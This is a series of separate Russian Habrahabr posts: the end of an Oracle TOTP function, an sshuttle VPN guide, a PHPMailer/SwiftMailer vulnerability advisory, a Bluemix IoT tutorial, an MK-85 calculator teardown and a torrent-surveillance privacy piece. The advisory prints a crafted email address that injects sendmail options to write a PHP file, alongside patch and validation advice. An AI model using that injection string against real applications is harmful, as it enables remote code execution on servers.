NUMBER; nPart2 NUMBER := 2147483647; nPart3 NUMBER; l_obfuscated_password users.pass%TYPE; calculatedCode VARCHAR2(6); FUNCTION to_binary(inNum NUMBER) RETURN VARCHAR2 IS szBin VARCHAR2(8); nRem NUMBER := inNum; BEGIN IF inNum = 0 THEN RETURN '0'; END IF; WHILE nRem > 0 LOOP szBin := MOD(nRem, 2) || szBin; nRem := TRUNC(nRem / 2 ); END LOOP; RETURN szBin; END to_binary; BEGIN FOR c IN 1..LENGTH(cSecret) LOOP nPos := INSTR( cBASE32, SUBSTR(cSecret, c, 1))-1; szBits := szBits || LPAD( to_binary(nPos), 5, '0'); END LOOP; nPos := 1; WHILE nPos < LENGTH(szBits) LOOP SELECT LTRIM(TO_CHAR(BIN_TO_NUM( TO_NUMBER(SUBSTR(szBits, nPos, 1)), TO_NUMBER(SUBSTR(szBits, nPos+1, 1)), TO_NUMBER(SUBSTR(szBits, nPos+2, 1)), TO_NUMBER(SUBSTR(szBits, nPos+3, 1)) ), 'x')) INTO szTmp2 FROM dual; szTmp := szTmp || szTmp2; nPos := nPos + 4; END LOOP; SELECT EXTRACT(DAY FROM (CURRENT_TIMESTAMP-TIMESTAMP '1970-01-01 00:00:00 +00:00'))*86400+ EXTRACT(HOUR FROM (CURRENT_TIMESTAMP-TIMESTAMP '1970-01-01 00:00:00 +00:00'))*3600+ EXTRACT(MINUTE FROM (CURRENT_TIMESTAMP-TIMESTAMP '1970-01-01 00:00:00 +00:00'))*60+ EXTRACT(SECOND FROM (CURRENT_TIMESTAMP-TIMESTAMP '1970-01-01 00:00:00 +00:00')) n INTO nEpoch FROM dual; SELECT LPAD(LTRIM(TO_CHAR( FLOOR(nEpoch/30), 'xxxxxxxxxxxxxxxx' )), 16, '0') INTO szEpoch FROM dual; rHMAC := DBMS_CRYPTO.MAC( src => hextoraw(szEpoch), typ => DBMS_CRYPTO.HMAC_SH1, key => hextoraw(szTmp) ); nOffSet := TO_NUMBER( SUBSTR( RAWTOHEX(rHMAC), -1, 1), 'x'); nPart1 := TO_NUMBER( SUBSTR( RAWTOHEX(rHMAC), nOffSet*2+1, 8), 'xxxxxxxx'); calculatedCode := SUBSTR(BITAND( nPart1, nPart2), -6, 6); RETURN calculatedCode; END "TOTP"; Эта функция работала как положено, за исключением тех случаев, когда генерируемый one time password имел цифру ноль в старшем разряде — возвращаемое значение имело тип Number, и этот ноль игнорировался Oracle. Поэтому я внёс в неё изменения, чтобы возвращался тип VARCHAR2. Важное замечание: процедура Preauth проверяет наличие секретного ключа для пользователя, осуществляющего попытку входа. Это сделано намеренно, для того, чтобы «плавно» включить использование второго фактора в веб-приложении, т.е. не у всех пользователей сразу. Для выключения этой проверки достаточно закомментировать строку: IF usersToken != '0' THEN Спасибо за внимание.
https://habrahabr.ru/post/318692/
habrahabr
VPN за 60 секунд
['sshuttle', 'vpn', 'ssh']
Если Вы предпочитаете простые и красивые решения, или Вам нравится всё, что попадает под категорию It Just Works, то эта статья для Вас. Для запуска шифрованного подключения достаточно иметь на...
Если Вы предпочитаете простые и красивые решения, или Вам нравится всё, что попадает под категорию It Just Works, то эта статья для Вас. Для запуска шифрованного подключения достаточно иметь на своем компьютере SSH-клиент, установить sshuttle (об этом чуть позже) и приобрести VPS с любым тарифным планом в интересующей Вас стране. На удалённой VPS-машине в большинстве случаев абсолютно ничего настраивать не нужно (достаточно, чтобы были установлены пакеты python и сервер SSH). На своем компьютере установим sshuttle: либо с помощью pip install sshuttle либо с помощью копирования исходников с github git clone https://github.com/sshuttle/sshuttle.git && python setup.py install пользователи debian могут это сделать так: apt-get install sshuttle Далее нужно выполнить простую команду: sudo sshuttle -r username@sshserver 0.0.0.0/0 где username — логин на удаленном виртуальном сервере, sshserver — его IP-адрес или доменное имя, параметр 0.0.0.0/0 означает, что мы собираемся добавить в нашу таблицу маршрутизации правило, благодаря которому весь исходящий трафик будет отправляться на удалённый сервер, за исключением DNS-запросов. Разработчик намеренно не включает по умолчанию этот функционал для DNS, потому что у некоторых пользователей для выхода в интернет должны использоваться провайдерские серверы разрешения имен. Если мы можем пользоваться любыми DNS-серверами, то и запросы к ним можем “завернуть” в наш шифрованный SSH-туннель: sshuttle --dns -r username@sshserver 0.0.0.0/0 Помимо этого мы можем направлять в туннель наш исходящий трафик не полностью, а только для определенных IP-подсетей, указывая соответствующий параметр: sshuttle -r username@sshserver 11.12.13.14/0 Преимущества этого решения в следующем: у Вас нет необходимости иметь права администратора на удалённом сервере, используемом для выхода в интернет Вам не нужно создавать правила SSH для форварда каждого порта Недостаток только один (если это можно назвать недостатком): sshuttle не поддерживает Windows, пользователям этой ОС можно сделать костыль в виде VM .
https://habrahabr.ru/post/318694/
habrahabr
Уязвимости выполнения произвольного кода в PHPMailer и SwiftMailer
['php', 'swiftmailer', 'phpmail', 'phpmailer', 'vulnerability', 'уязвимость']
В последние дни было зарегистрировано три уязвимости, касающиеся PHPMailer и SwiftMailer: 25.12.2016, CVE-2016-10033 Уязвимость удалённого выполнения кода через PHPMailer 27.12.2016,...
В последние дни было зарегистрировано три уязвимости, касающиеся PHPMailer и SwiftMailer : 25.12.2016, CVE-2016-10033 Уязвимость удалённого выполнения кода через PHPMailer 27.12.2016, CVE-2016-10045 Уязвимость удалённого выполнения кода через PHPMailer 28.12.2016, CVE-2016-10074 Уязвимость удалённого выполнения кода через SwiftMailer Все три отчёта об уязвимостях упоминают фреймворк Yii наряду с другими PHP фреймворками как уязвимый, потому цель этой статьи — прояснить, кто именно подвержен этой уязвимости и что нужно сделать для того, чтобы обезопасить себя. Что касается PHPMailer, Yii никогда официально не предоставлял никаких компонентов, связанных с PHPMailer'ом. Кроме того, Yii никогда не включал PHPMailer в какой-либо код, который официально выпускался командой Yii. Упоминание Yii в отчётах скорее всего является копи-пастой из README PHPMailer'a, где сказано, что он может быть использован вместе с фреймворком Yii. Для PHPMailer уже выпущен патч , нужно обновиться до версии как минимум 5.2.20. Ситуация касательно SwiftMailer отличается. Для него мы предоставляем расширение yii2-swiftmailer . SwiftMailer также выпустил патч , нужно обновиться до версии как минимум 5.4.5. Суть уязвимости Так как PHP-функция mail() не предоставляет отдельного параметра для указания адреса отправителя, единственным способом сделать это — является передача строки пятым аргументом ( $additional_parameters ). Строка должна содержать флаг -f , следом за которым идёт email отправителя (например [email protected] ). Это приводит к вызову /usr/bin/sendmail со списком параметров, сформированным из вызова PHP-функции mail() . Например: /usr/sbin/sendmail -t -i [email protected] Когда разработчик самостоятельно передаёт 5-й аргумент в функцию mail() , подразумевается, что он читает документацию и знает, что email нужно проверить и экранировать, чтобы он был безопасен для использования в командной строке. В случае, если это не сделано, очевидно, что вся ответственность лежит на разработчике, который допустил инъекцию параметров командной строки. Однако, библиотеки PHPMailer и SwiftMailer предоставляют удобный API, который скрывает факт передачи email в командную строку опасным способом. Разработчик надеется, что библиотеки выполняют достаточное экранирование для обеспечения безопасности вызова программы sendmail . Обнаруженные уязвимости указывают на то, что библиотеки PHPMailer и SwiftMailer не выполняли достаточного экранирования. Это значит, что если адрес отправителя будет сформирован специальным образом, он будет передан в пятый параметр PHP-функции mail() и выполнен как дополнительные параметры при вызове программы sendmail . Например, передача следующей строки, как email адреса, позволяет внедрить в параметры -oQ и -X , которые будут обработаны программой sendmail : -f"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com // Приведет к выполнению /usr/sbin/sendmail -t -i -f"attacker" -oQ/tmp/ -X/var/www/cache/phpcode.php [email protected] Более подробную информацию по воспроизведению уязвимости можно прочесть по ссылкам в начале статьи. Кто подвержен опасности? В первую очередь пользователи, которые используют классы Swift_MailTransport или PHPMailer для отправки сообщений. Эти классы, к свою очередь, используют PHP-функцию mail() . Что нужно сделать, чтобы обезопасить приложение? Учитывая, что уязвимости касаются только поля "От", вам нужно вспомнить, где в ваших приложениях пользователь может указать собственное значение для адреса отправителя. Чаще всего это используется в контактных формах и скриптах гостевых книг. Если вы корректно валидируете email на этапе приёма его от пользователя, то эта уязвимость вас скорее всего и не коснётся. Хорошей практикой является валидация данных сразу при приёме от пользователя, что помогает избежать обработки невалидных данных в других частях приложения, в том числе передачи сторонним библиотекам, которые могут оказаться уязвимыми. Для Yii существует EmailValidator , который не пропускает адреса по примеру тех, которые использовались в данной уязвимости Кроме того, в PHP существует нативная функцию filter_var() , которой можно проверить email. Например: public function validateEmail() { if (filter_var($this->email, FILTER_VALIDATE_EMAIL) === false) { throw new InvalidParamException('The email contains characters that are not allowed'); } } UPD1: SwiftMailer выпустил патч , нужно обновиться до версии как минимум 5.4.5.
https://habrahabr.ru/post/318698/
habrahabr
Превращаем свой смартфон в IoT датчик при помощи Bluemix. Пример разработки приложения
['bluemix', 'iot', 'разработка', 'программирование', 'сенсоры']
Bluemix — мощная платформа, которая позволяет быстро и без проблем создавать, разворачивать и администрировать приложения в облаке. Bluemix — это реализация архитектуры IBM Open Cloud...
Bluemix — мощная платформа, которая позволяет быстро и без проблем создавать, разворачивать и администрировать приложения в облаке. Bluemix — это реализация архитектуры IBM Open Cloud Architecture на основе открытого ПО Cloud Foundry, работающего по принципу «платформа как услуга» (Platform as a Service – PaaS). При помощи этой платформы и службы IBM Watson IoT Paltform можно разработать Bluemix-приложение, которое позволит обрабатывать, визуализировать и сохранять данные, полученные со смартфона. В этой статье показано, как обычный смартфон можно превратить в надежный датчик, подключенный к сети. Что необходимо для разработки приложений? 1. Учетная запись в Bluemix (есть возможность регистрации для бесплатного пробного использования). Также участники программы developerWorks Premium получают годовую подписку на IBM Bluemix, плюс кредиты в сумме 240 долларов США на работу с облачными технологиями в среде Bluemix. 2. Также необходимо загрузить и установить интерфейс командной строки Cloud Foundry . 3. Смартфон с ОС Android или iOS. Сразу после получения всего, что указано выше, можно начать работу по созданию IoT приложения в Bluemix. Для этого необходимо использовать механизм Node-RED. С его помощью можно, например, создать службу Internet of Things для того, чтобы отправить MQTT-сообщения на сервер IBM IoT в облаке, а также получить с сервера сообщения. Алгоритм действий таков: 1. Войдите в Bluemix под вашей учетной записью (или зарегистрируйтесь для бесплатного пробного использования ). 2. Выберите Catalog. 3. Щелкните по Internet of Things Platform Starter. 4. Укажите имя своего приложения. Это имя будет также использоваться как имя хоста, поэтому оно должно быть уникальным в Bluemix, например, iot . В данном примере используется имя iotdemodaniel4 . 5. Нажмите кнопку Create. 6. На панели инструментов выберите Dashboard и щелкните по созданному приложению (Cloud Foundry или CF APP). 7. Щелкните по кнопке Add a Service or API. 8. В левой навигационной области выберите Internet of Things для фильтрации списка доступных служб. Выберите службу Internet of Things Platform. 9. Оставляем все значения по умолчанию и нажимаем кнопку Create. 10. Теперь видим сообщение с кнопкой Restage. Кликаем по этой кнопке, что позволит обновить приложение. Добавляем устройства, отправляющие MQTT-сообщения на IoT-сервер 1. На панели Bluemix Dashboard выбираем приложение и новую службу. 2. На странице этой службы щелкаем по кнопке Launch Dashboard. После этого сразу появляется панель сервера IBM Internet of Things — службы, независимой от Bluemix. Приложению присваивается идентификатор организации Organization ID. Он будет нужен для разработки мобильного приложения. Ниже можно видеть идентификатор со значением 1xuhbp. В левом меню, которое появляется при наведении на него указателя мыши, выбираем Devices. После этого выбираем Add a device и нажимаем кнопку Create device type. У вас может быть несколько типов устройств, а самих устройств может быть много. Тип устройства в данном случае — это группа устройств с общими характеристиками. У них могут быть одинаковые датчики или еще какие-то элементы. В текущем случае тип устройства должен иметь имя Android. Такой тип необходимо использовать для приложения, которое будем использовать позже. Нажимаем кнопку Next. После этого появляется страница, на которой можно задать различные сведения об устройстве, включая серийный номер или модель. В демонстрационном примере вводить эти данные не будем, поэтому просто нажимаем Next и затем — снова. После этого вы должны вернуться в диалоговое окно Add Device. Снова нажимаем кнопку Next, где указываем идентификатор устройства. Это может быть, например, MAC-адрес смартфона. Он должен быть уникальным. В примере показан адрес типа «112233445566». Оставляем пустым поле Meta Data и нажимаем кнопку Next. Оставляем пустым еще и поле Authentication token и снова нажимаем на Next. Указываем значение токена аутентификации. Его лучше запомнить или записать, поскольку оно понадобится позже. Нажимаем Next. Нажимаем, как и предлагают, Add, после чего видим сгенерированное устройство. Закрываем диалоговое окно. После этого мы можем отправлять MQTT-сообщения с устройства на сервер IBM IoT. Устанавливаем и конфигурируем приложение для Android Для того, чтобы смартфон считывал и отправлял показания датчика, необходимо использовать приложение IoT Starter for Android. Исходный код можно получить вот здесь . 1. После этого в телефоне нужно зайти в меню Settings > Security (Настройки > Безопасность) и от имени администратора устройства разрешить установку приложений из неизвестных источников. Для этого ставим отметку в поле Unknown sources (Неизвестные источники). Теперь появилась возможность устанавливать файлы .apk не только из Google Play. 2. Открываем браузер в телефоне и вводим такой адрес: ibm.box.com/v/iotstarterapp Идет перенаправление на сайт m.box.com и к файлу iot-starter_501.apk 3. Нажимаем Download; 4. При помощи файлового менеджера ищем файл в каталоге Downloads; 5. В этом же каталоге щелкаем по файлу iot-starter_501.apk и нажимаем Install (Установить). Приложение IoT Starter после всех названных действий будет установлено на вашем устройстве с ОС Android. После этого нужно выполнить еще один важный этап — сконфигурировать приложение для Android. 1. Запускаем приложение IoT Starter. 2. Указываем следующие параметры: • Organization: Идентификатор организации, который выводился на сервере IBM IoT (он был указан в начале этапа «Добавление устройства, которое будет отправлять MQTT-сообщения на сервер IoT»). В данном руководстве этот идентификатор имеет значение y6spgy. • Device ID: Идентификатор устройства, который вы указали в конце этапа «Добавление устройства, которое будет отправлять MQTT-сообщения на сервер IoT». В данном руководстве этот параметр имеет значение 112233445566. • Auth Token: Токен авторизации, который вы указали на этапе «Добавление устройства, которое будет отправлять MQTT-сообщения на сервер IoT.» 3. Нажимаем на кнопку Activate Sensor, после чего приложение начнет собирать показания датчика ускорения на смартфоне, отправляя собранную информацию на сервер IBM IoT. Приложение также отображает информацию об акселерометре и количестве полученных или отправленных сообщений. Проверяем отправку сообщений со смартфона на IoT-сервер 1. Открываем на компьютере страницу сервера IBM IoT для организации (эти данные указывались в этапе «Добавление устройства, которое будет отправлять MQTT-сообщения на сервер IoT»); 2. На вкладке Devices отображается уже устройство на базе Android OS. 3. Щелкаем по идентификатору устройства, после этого должно появиться окно с сообщениями, поступающими со смартфона. Для получения информации о событиях нужно по нему щелкнуть. Сообщения со смартфона отправляются в JSON формате. Они содержат информацию об ускорении и позиции. Теперь можно работать с данными сообщений в среде Bluemix. Обрабатываем сообщения в потоке Node-RED В этом разделе улучшаем приложение Bluemix IoT, используя поток Node_RED для того, чтобы обрабатывать сообщения со смартфона и отправлять сообщения обратно на смартфон. Телефон будет реагировать, изменяя цвет фона приложения. Node-RED — это визуальный инструмент, который упрощает передачу и обработку сообщений в Интернете вещей. Запустить приложение можно здесь . 1. Открываем Bluemix, выбираем Dashboard и на панели Bluemix Dashboard и смотрим, выполняется ли приложение Bluemix IoT (созданное на этапе 1). 2. Открываем в браузере страницу .mybluemix.net, где — это имя приложения Bluemix IoT, созданного на шаге 1. В редакторе Node-RED для приложения Bluemix щелкните по кнопке Go to your Node-RED flow editor. 3. Открывается редактор с примером потока. Используя в редакторе метод drag-and-drop, начинаем конструировать поток сообщений. Можно создавать такой поток самостоятельно, импортируя приведенный ниже код. Перед этим необходимо убрать все существующие узлы, удалив их при помощи клавиши Delete. 4. Копируем этот код и вставляем его в текстовый редактор. 5. В текстовом редакторе смотрим, весь ли код находится в одной строке. Если нет, то удаляем все разрывы строк. Копируем строку в буфер обмена. 6. В редакторе Node-RED нажимаем Ctrl-I, чтобы открыть диалоговое окно Import Nodes. Вставляем код и нажимаем OK. 7. Теперь нужно адаптировать поток к вашим конкретным параметрам. Единственным значимым параметром является Device ID. Дважды щелкаем по узлу IBM IoT App out. Во всплывающем окне вводим идентификатор устройства, который использовали ранее (например, 112233445566), и нажимаем OK. 8. В редакторе щелкаем Deploy. Поток сразу же должен стать активным. 9. Перемещаем смартфон, переворачивая и наклоняя его. В это время фон должен менять свой цвет, реагируя на изменение ориентации оси Z. 10. В редакторе Node-RED щелкаем по прямоугольнику рядом с узлом msg.payload. После этого щелкаем по вкладке debug для того, чтобы выполнить отладку. Здесь мы должны видеть сообщения, отправляемые с телефона в формате JSON. 11. Исследуем поток, дважды щелкая по узлу calc color. Это позволяет вычислить значения цветов на базе входящих значений положения относительно оси Z, отправив результаты вычислений как данные JSON. Создаем приложение Bluemix для визуализации показаний датчика Это последний этап, в ходе которого мы будем создавать в среде Bluemix дополнительное приложение, которое получает сообщение от IoT смартфона. Данные будут визуализироваться. 1. Загружаем файл iot-visualization-0.2.0.zip из проекта iot-visualization в Github. Распаковываем этот архив. 2. Открываем Bluemix и выбираем Dashboard. 3. Нажимаем кнопку Create App. 4. Выбираем WEB как тип приложения. 5. Выбираем SDK for Node.js. 6. Щелкаем по кнопке Continue и указываем имя приложения. Как и прежде, имя должно быть уникальным в Bluemix, поскольку используется как имя хоста. Вводим что-нибудь типа iotvisualizer и нажимаем Finish. 7. Через несколько секунд должно прийти сообщение Your app is running. 8. В каталоге, куда распакован архив iot-visualization-0.1.0.zip, ищем файл manifest.yml и открываем его в текстовом редакторе. Изменяем параметры host и name на выбранное имя приложения. Сохраняем файл. 9. Открываем окно командной строки и переходим в каталог, куда распакован архив iot-visualization-0.1.0.zip. 10. Выполняем следующие команды Cloud Foundry: cf api api.ng.bluemix.net cf login -u Команда cf login необходима только при первом использовании инструмента командной строки cloud foundry. Также может потребоваться ввести свой пароль в Bluemix. Если у вас больше одной организации Bluemix (в отличие от установок по умолчанию), то нужно будет выбрать одну из них. 11. Разворачиваем приложение в Bluemix, выполнив следующую команду: cf push Эта команда берет параметры из файла manifest.yml и затем загружает код в Bluemix. Через некоторое время вы должны увидеть примерно такое сообщение: OK App was started using this command 'node app.js'. 12. На панели Bluemix Dashboard откройте страницу Overview для вашего приложения. Щелкните по кнопке Bind a service or API.Screen capture of the service overview page and the Bind a Service or API button highlighted 13. Выбираем службу Internet of Things, которая была определена на этапе «Создание IoT-приложения в Bluemix». Нажимаем Restage для обновления приложения. Теперь приложение может получать сообщения с сервера IBM IoT. 14. Для проверки приложения визуализации открываем в браузере страницу http://.mybluemix.net 15. В раскрывающемся меню Device выбираем идентификатор устройства. Как видим, создание приложения, которое превращает обычный смартфон в IoT-устройство — дело не такое сложное, если использовать Bluemix. В этой среде можно создавать гораздо более сложные и функциональные приложения нежели то, что было показано выше.
https://habrahabr.ru/company/ibm/blog/318702/
habrahabr
Персональный компьютер «Электроника МК-85»
['электроника мк-85']
Приветствую уважаемую аудиторию Гиктаймса и поздравляю всех с наступающим Новым Годом! Этот пост я хочу начать с небольшого дисклаймера. Точнее, даже с двух. Дисклаймеры1. На Хабрахабре уже...
Приветствую уважаемую аудиторию Гиктаймса и поздравляю всех с наступающим Новым Годом! Этот пост я хочу начать с небольшого дисклаймера. Точнее, даже с двух. Дисклаймеры 1. На Хабрахабре уже были упоминания модификаций этого компьютера: раз и два . В первом посте шла речь о модификациях МК-85С (крипто) и МК-85Б (банковский) с встроенными функциями криптографии. Эти модификации в настоящее время представлены очень редкими коллекционными экземплярами. В моём посте речь идёт об обычном «Электроника МК-85». 2. Часть информации в посте я публиковал в своём ЖЖ, однако (так как гиктаймс не является центром мирового кросспостинта), я подготовил специально для вас, дорогие читатели, расширенный и дополненный материал. Итак, начнём. Микрокомпьютер «Электроника МК85». Разработанный в Зеленограде, он начал производиться в 1986 году. По сведениям из википедии, было выпущено несколько модификаций, и их выпуск продолжался до 2000 года (скажу честно, в этот период я его в продаже не видел, впрочем, и не интересовался специально). По сути, это программируемый калькулятор с возможностью написания программ на Бейсике. Внешне он практически скопирован с Casio FX700P, однако не является его клоном, внутренне это совершенно другое устройство. Внешне наш не хуже японского, однако у Casio была ещё куча периферии, принтер и другие устройства, а у МК85 их нет, увы. Характеристики Процессор 16-разрядный, совместимый с «Электроника-60» (то есть с PDP-11) 2Кб EEPROM (1221 шаг программы) 26 ячеек памяти Возможность одновременного хранения до 10 программ Встроенный BASIC Дисплей 12 символов 5х7 точек 54 клавиши Питание 6В, от внешнего блока питания или от 4-х элементов СЦ-0,18. Потребляемая мощность: менее 0,02 Вт; Размеры: 13×166×73 мм; Диапазон рабочих температур: от +5 до +40 °C; Масса: не более 0,15 кг. Последний год выпуска 2002 Внешний вид Вид сзади. «Свободная розничная цена», декабрь 1991 года. Замечательный чехольчик. Зарядное устройство, увы, неродное. Родной только разъём. Также продавец презентовал такую книжку. Скажу честно, пока не прочитал. Собственно инструкция, очень подробная. И схема устройства. Из интересного в ней можно отметить странные трёхконтактные кнопки. Так сделано для экономии портов GPIO. По традиционной схеме на 10 пинах можно было бы подключить 5*5=25 кнопок, а с тремя контактами получилось подключить 54 кнопки и один переключатель, причем можно было подключить ещё больше кнопок. И наконец, коробочка. Что внутри? Итак, познакомимся поближе с богатым внутренним миром МК85. Заводская пломба уже была оторвана, так что смело развинчиваем винты. Аккумуляторы находятся в специальном отсеке, закрытом металлической крышкой. Конструкция продумана так, чтобы при протекании аккумуляторов жидкость не попала на плату. Аккумуляторы, разумеется протекли, я их вынул и протёр отсеки спиртом. Аккумуляторы, кстати, были японские. Интересно, они стояли изначально или их менял предыдущий владелец? Посмотрим на плату поближе: Корпус причудливой формы с вырезами под микросхемы. Да, эти микросхемы куда выше нынешних, и имеют шаг 1,25 мм. Если бы те инженеры увидели современную микросхему с шагом 0,5 мм, а ещё лучше BGA, они бы сильно удивились, наверное (А когда узнали бы, какой объем памяти у современных микросхем, то и вовсе бы не поверили). Два свободных места, это под микросхемы ОЗУ (T36РУ1-2). Таких сейчас, конечно же, не достать. Эти две дополнительные микросхемы предназначены для модели «Электроника МК85М», а у меня просто МК85. В любом случае, запасных нет, поэтому я завинтил крышку, подключил источник питания и включил аппарат. Включается не очень хорошо, наверное, все контакты окислились. Но разбирать дальше я его не стал. Включение ОК, теперь можно что-нибудь ввести. Инструкция предлагает ввести слово TEST и нажать EXE. При этом запускается программа тестирования. Длится тестирование несколько минут, при этом сначала на экране ничего нет, потом начинают мигать сегменты. Теперь немного о грустном. Мой экземпляр имеет дефект. Продавец меня честно предупредил об этом, да и сам аппарат стоил дешево из-за этого. Не работает часть сегментов на индикаторе, полоса в правой части экрана посередине. Там должно быть написано READY P0. Такие дела. Поверхность кнопок неровная. Увы, это результат долгого лежания машинки в чехле. Вместо заключения Конечно, читатели наверняка спросят меня: а как же программирование? Неужели автор не попытался написать какую-либо программу на этом чуде? Увы мне, увы. Когда-то я начинал с Бейсика, и очень много лет назад такая игрушка привела бы меня в восторг. Но это было много лет назад, и в одну реку нельзя войти дважды. Пусть бейсик останется в прошлом, а этот дивный микрокомпьютер останется как напоминание о давно забытых временах. Вот и всё, в общем. Ещё раз с наступающим Новым Годом!
https://geektimes.ru/post/284174/
habrahabr
Конец халяве: I Know What You Download
['torrents', 'privacy', 'ук']
Продолжение (часть 2). Не понимаю, почему никто не кричит «полундра» (поискал здесь и на Хабре по слову «iknowwhatyoudownload», но ничего). Итак, некий сайтик iknowwhatyoudownload.com по...
Продолжение (часть 2) . Не понимаю, почему никто не кричит «полундра» (поискал здесь и на Хабре по слову «iknowwhatyoudownload», но ничего). Итак, некий сайтик iknowwhatyoudownload.com по IP-адресу показывает список торрентов, скаченных и розданных с этого адреса. Судя по всему, запустились недавно. Домен зарегистрирован 14 сентября 2016. Отображается статистика примерно за месяц. Но как долго она собиралась, неизвестно. DISCLAIMER: я не имею отношения к этому сервису. Если вы подозреваете, что это реклама, не читайте дальше и не нажимайте ссылки. Особенно доставляет: Сотрудничество Мы готовы делиться данными, предоставляя их в различных форматах/разрезах на автоматизированной основе. Кроме того, мы располагаем техническими возможностями для «поимки» пользователей, раздающих торрент-файлы. Подключаясь к компьютеру пользователю и скачивая маленький кусочек торрента, мы можем снять TCP-дамп обмена данных с пользователем. Данные из дампа имеют уникальный «отпечаток» — хэш, который совпадает с хэшем из торрент-файла. Это позволяет однозначно доказать факт распространения торрента с некоторого IP-адреса. Скоро это будет актуально и в России. По вопросам сотрудничества вы можете написать нам. P.S. А еще мы можем строить рекомендательные системы, деаномизировать пользователей торрент-сайтов и многое, многое другое. Ну не сволочи? В принципе по УК 146.2 уже можно многих привлекать (Нарушение авторских и смежных прав), а кое-кого и по 242 (Незаконные изготовление и оборот порнографических материалов). Можно походить по соседям (с точки зрения IP-адреса), посмотреть что народ качает. В общем, запуская торрент-клиент вспомните об этом. Самое время задуматься о VPN/proxy. P.S. uTorrent легко заставить работать только через VPN. UPDATE В комментариях сообщают, что в основном отображаются торренты с rutracker'a. Продолжаем наблюдать. Очевидно одно, обновление статистики очень неторопливое, если вообще до сих пор работает. Ведь не исключено эта была демонстрация возможностей для поиска «инвесторов» и денег на поддержание проекта нет. Также сообщают, что это уже четвертый подобный проект, в частности см. habrahabr.ru/post/134374 В любом случае задуматься об анонимизации своего торрент траффика IMHO стоит. Ну и вчерашняя новость в тему — В России хотят ввести штрафы за скачивание пиратского контента . UPDATE 2 Связались авторы (они теперь тут) и дали некоторые комментарии. Публикуется с согласия. > Расскажите как работает всё: как и что собираете, что храните, кому продаете ) Данные по торрентам собираются как напрямую из DHT, так и с популярных торрент-трекеров. Данные по пользователям собираются напрямую из DHT, имитируя работу стандартного торрент-клиента. Пока что в России мы в основном продаем информацию о загрузках по ip адресам рекламным платформам. Правообладатели в основном покупают у нас данные о сайтах распространителях. Но тем ни менее, вскоре мы ожидаем, что внимание правообладателей и правоохранителей перейдет с владельцев сайтов на конечных пользователей. Помимо прочего, система располагает возможностью подключения к IP-адресу, раздающему торрент, для фиксации в TCP-дампе доказательства загрузки и распространения (handshake по протоколу bittorrent). Кроме того, дополнительно мы можем сгрузить кусочек файла с компьютера пользователя. В данный момент, к нам пока что не обращались правоохранительные органы, но мы работаем в этом направлении, мы ожидаем появления в следующем году соответствующих процедур и подзаконных актов. > Это не объясняет почему у многих не отображаются их торренты, при том, что внешний IP давно не менялся. Т.е. вы скачиваете конкретные торренты (как вы их отбираете?) с конкретных трекеров (каких?) и имитируете раздачу, записывая адреса пиров? Сколько надо находится на раздаче, чтобы попасть в вашу статистику? Торрент-файлы к нам в БД попадают несколькими способами. Во-первых, мы берем новинки с популярных торрент-сайтов (зарубежных и российских). Во-вторых, у нас есть компоненты, которые постоянно прослушивает DHT-сеть. Если кто-то ищет/анонсирует infohash, мы также добавляем его в свою базу. Данные по одному торрент-файлу собираются один раз в несколько часов. В целом чем дольше вы находитесь на раздаче, тем больше вероятность попасть к нам в БД. Данные на сайте обновляются с задержкой в сутки. Обычно мы решаем другие задачи — отслеживать небольшое количество торрент файлов, получая по ним как можно больше данных. Как вы понимаете, на сайте идеология другая — получить по большому количеству торрент-файлов как можно больше данных, поэтому применяемые методы могут быть неточными. Да, кроме того, на сайте не отображаются данные старше 4х недель. UPDATE 3 Касательно того, «что делать». Помимо того, что «забить», «мне нечего скрывать», «статья — наброс и реклама» и т.д и т.п., все таки б о льшему количеству людей (мне например) стало ясно, что BitTorrent не очень беспокоится о privacy юзеров, и мы уязвимы для слежки. Кто и зачем это будет делать, вопрос уже другой. Даже если указанный сайт, виновник торжества, загнется, проблема останется. Никто ведь не мешает поднять такую вещь на госсредства. Мы о ней узнаем, когда будет уже поздно. Поэтому, если честно, удивляют комментарии «моих торрентов нет, это наброс». DISCLAIMER: часть не содержит лично моего опыта, я не специалист в peer-to-peer сетях, основана на комментариях к этой статье. Тезисно, какие есть варианты: подкрутить чего-то в торрент-клиенте (шифрование и т.д.) использовать VPN и proxy использовать Тор и I2P вынести торрент клиент в облако Подкрутить чего-то в торрент-клиенте Спасибо юзеру ValdikSS , поделившемуся ссылками на исследование уязвимости BitTorrent-протокола для слежки: сокращенная версия: gist.github.com/Ayms/077b114a27450f773939 полная версия (убрана из паблика): archive.is/ZQLkL (archive.is заблокирован на территории РФ, вы знаете что делать) Более того, на основе этого исследования автор реализовал клиент torrent-live, который борется со слежкой. Он работает. Как установить и использовать см. в github.com/Ayms/torrent-live . Остается надеяться, что запускать bt-клиента через NodeJS будут не все. Потому как, если все будут пользоваться этим клиентом, то обмен остановится. Касательно шифрования в стандартных клиентах. Тут не ясно, поможет или нет. Шифрование есть во многих клиентах. Юзер ksenobayt рекомендует qBittorrent. В uTorrent так же есть (enable/disable/force). Но есть мнение ( rogoz ), что шифрование в bt-клиенте поможет только против DPI и никак не повлияет на слежку через DHT. Использовать Tor и I2P Не рекомендуют использовать BT поверх Тора, т.к. в Торе нет UDP. Поверх I2P можно. Спасибо юзеру gxcreator — для клиента Vuze есть плагин I2PHelper , с помощью которого можно работать через I2P. Но, у меня не заработало (ничего не качается). Естественно, это кривые руки. Буду благодарен за правильный ссылки. Использовать VPN и proxy Вроде должно помочь. Но, с VPN не все просто. Есть способы деанонимизации. В частности через WebRTC. Также есть проблема утечки через DNS. Зайдите на сайт http://ipleak.net/ с включенным VPN, он покажет утечки IP-адреса (если есть). Правда это касается браузеров. Насколько это актуально для BitTorrrent, я не знаю. VPN можно использовать как сервис, так и подняв свой сервер (покупаем VPS и ставим софт сами). Тут очень большая тема. Помимо VPN, в принципе, достаточно прокси, это немного дешевле. Спасибо юзеру artyums , за поисковик дешевых VPS — lowendstock.com . Пара советов от него же: под VPS подходит только OpenVZ VPS, никаких KVM при выборе обязательно уточняйте в описании или у техподдержки возможность включения TUN/TAP интерфейса. По-умолчанию он зачастую выключен, и VPN работать не будет Альтернативное мнение от ValdikSS : OpenVZ — контейнер, как Docker. Нельзя сменить ядро, нельзя загрузить модули ядра. Владелец сервера может одной командой зайти внутрь контейнера от root. KVM/XEN — виртуализация, можно делать все, что угодно. Контейнеры OpenVZ дешевы, подходят для неприхотливых людей, которые всякие веб-сайты крутят и не лазят в ядро. Ссылки от него же (не проверял, отношения не имею, заноса не было): ruvds.com/ru-rub/linux hostmaze.com 